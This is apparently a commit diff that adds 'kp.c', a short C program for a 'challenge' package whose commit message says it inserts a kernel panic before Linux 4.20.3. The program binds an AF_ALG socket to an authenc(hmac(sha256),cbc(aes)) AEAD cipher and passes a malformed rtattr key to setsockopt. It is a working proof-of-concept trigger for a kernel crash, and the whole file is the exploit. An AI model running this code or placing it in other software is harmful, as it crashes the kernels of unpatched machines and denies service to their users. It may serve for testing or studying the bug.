challenge: insert kernel panic before 4.20.3

pkg/challenge/.gitignore

@@ -0,0 +1 @@
+kp

pkg/challenge/kp.c

@@ -0,0 +1,24 @@
+#include <linux/if_alg.h>
+#include <linux/rtnetlink.h>
+#include <sys/socket.h>
+
+int main() {
+  int fd;
+  struct sockaddr_alg addr = {
+    .salg_type = "aead",
+    .salg_name = "authenc(hmac(sha256),cbc(aes))",
+  };
+
+  struct {
+      struct rtattr attr;
+      __be32 enckeylen;
+      char keys[1];
+  } __attribute__((packed)) key = {
+    .attr.rta_len = sizeof(key),
+    .attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */,
+  };
+
+  fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
+  bind(fd, (void *)&addr, sizeof(addr));
+  setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key));
+}